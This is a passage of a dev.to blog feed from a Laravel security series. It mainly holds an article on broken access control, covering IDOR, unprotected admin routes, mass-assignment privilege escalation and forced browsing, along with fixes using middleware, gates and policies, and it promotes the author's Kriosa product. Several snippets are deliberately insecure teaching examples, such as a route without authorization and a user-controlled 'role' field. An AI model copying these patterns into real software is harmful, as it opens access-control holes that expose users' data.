    &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Kriosa Security Error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Your application continues safely...&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See Documentation :&lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt; Documentation&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Built by a developer, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;br&gt;
Sleep better we're awale - kriosa&lt;br&gt;
&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-7a618ef40e39" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/file-upload-security-in-php-and-laravel-the-file-that-isnt-what-it-claims-to-be-768c920b26ac" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/path-traversal-in-php-how-escapes-your-application-d401be98239e" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/command-injection-in-php-when-exec-becomes-an-attack-surface-eac7736b7637" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-300308cc3559" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;Article 11: This article — secrets in Laravel and why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>laravel</category>
      <category>php</category>
      <category>security</category>
    </item>
    <item>
      <title>Broken Access Control in Laravel — Why Being Logged In Isn't Enough</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 04 Aug 2026 10:02:29 +0000</pubDate>
      <link>https://dev.to/kriosa/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-5808</link>
      <guid>https://dev.to/kriosa/broken-access-control-in-laravel-why-being-logged-in-isnt-enough-5808</guid>
      <description>&lt;p&gt;This is the tenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Broken Access Control has been ranked the number one risk in the OWASP Top 10 since 2021. Not the most technically complex. The most common. Because developers assume that if a user is logged in they must be allowed to do what they are trying to do.&lt;/p&gt;

&lt;p&gt;That assumption is wrong every time.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Distinction Most Developers Miss
&lt;/h2&gt;

&lt;p&gt;Authentication and authorization are two completely different things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt; answers one question: who are you? You log in with your email and password. The system verifies your identity. You get a session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt; answers a different question: what are you allowed to do? You are logged in — but can you access this specific resource? Can you edit this specific record? Can you see this specific user's data?&lt;/p&gt;

&lt;p&gt;Broken access control happens when authentication works correctly but authorization is missing, incomplete, or wrong.&lt;/p&gt;

&lt;p&gt;A developer who locks the front door but leaves every room inside unlocked has authentication without authorization. The attacker cannot get into the building. But once they are in — as any legitimate user — every unlocked room becomes accessible.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Four Types of Broken Access Control
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. IDOR — Insecure Direct Object Reference
&lt;/h3&gt;

&lt;p&gt;This is the most common and most exploited form of broken access control.&lt;/p&gt;

&lt;p&gt;Your application shows a user their invoice:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/invoices/1234
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The developer checked that the user is logged in. They did not check that invoice 1234 belongs to this user.&lt;/p&gt;

&lt;p&gt;An attacker changes the URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/invoices/1235
https://yoursite.com/invoices/1236
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They see someone else's invoice. Then another. They enumerate every invoice in your system by incrementing the number. Every customer's billing history. Every order. Every private document.&lt;/p&gt;

&lt;p&gt;In production, this looks like a single authenticated user requesting dozens of sequential resource IDs in a short period. Traditional access logs record the requests but rarely highlight the pattern. Security monitoring tools such as Kriosa can identify this enumeration behavior and flag it as a potential authorization probe long before large amounts of data are exposed.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Missing Function-Level Access Control
&lt;/h3&gt;

&lt;p&gt;A developer protects the admin dashboard with middleware but individual admin functions have no separate authorization check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Route is protected&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'can:access-admin'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// This API endpoint was added later and has no protection&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/api/delete-user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'deleteUser'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A regular user who discovers &lt;code&gt;/api/delete-user&lt;/code&gt; calls it directly — bypassing middleware entirely because the API route was added separately and the developer forgot to protect it.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Horizontal&lt;/strong&gt; — accessing another user's data at the same privilege level. User A reading User B's messages. Commonly caused by IDOR.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vertical&lt;/strong&gt; — gaining higher privileges than your role allows. A regular user becoming an admin.&lt;/p&gt;

&lt;p&gt;Example of vertical escalation through mass assignment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — user controls their own role&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;'name'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'email'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'role'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt;  &lt;span class="c1"&gt;// attacker sends role=admin&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;role&lt;/code&gt; is not protected from mass assignment an attacker updates their own role to admin through a standard profile update form.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Forced Browsing
&lt;/h3&gt;

&lt;p&gt;An attacker directly accesses URLs that should be restricted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin/users          — protected correctly
/admin/export-users   — developer forgot to protect this one
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker discovers &lt;code&gt;/admin/export-users&lt;/code&gt; and downloads your entire user database. No exploit needed. Just a URL the developer forgot to add middleware to.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Laravel Handles Authorization
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Middleware — Who Can Access This Route
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/dashboard'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;DashboardController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'can:access-admin'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/delete-user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'deleteUser'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The critical rule: every route that requires any form of access restriction must be inside the correct middleware group. Adding a new route outside the group — especially API routes — is how function-level access control vulnerabilities appear.&lt;/p&gt;

&lt;p&gt;Good authorization prevents unauthorized access but it does not tell you when someone is actively searching for authorization weaknesses. Kriosa analyzes incoming requests for behaviors such as resource enumeration, repeated authorization failures, and suspicious access patterns that often precede a successful exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The gap middleware does not fill:&lt;/strong&gt; middleware checks who the user is and what permissions they have. It does not check whether this specific user owns this specific resource. For that you need gates or policies.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Gates — Can This User Perform This Action
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Providers/AuthServiceProvider.php&lt;/span&gt;
&lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'edit-post'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In your controller&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;edit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Post&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'edit-post'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$post&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'posts.edit'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the gate returns false Laravel handles the 403 response automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Policies — Organized Authorization for Models
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;artisan&lt;/span&gt; &lt;span class="n"&gt;make&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="nc"&gt;InvoicePolicy&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;Invoice&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Policies/InvoicePolicy.php&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;InvoicePolicy&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;User&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;
            &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isAdmin&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In your controller&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Form Requests — Authorization in Larger Applications
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;can&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'update'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The IDOR Fix — Three Approaches
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Approach 1 — Policy authorization:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — only checks authentication&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
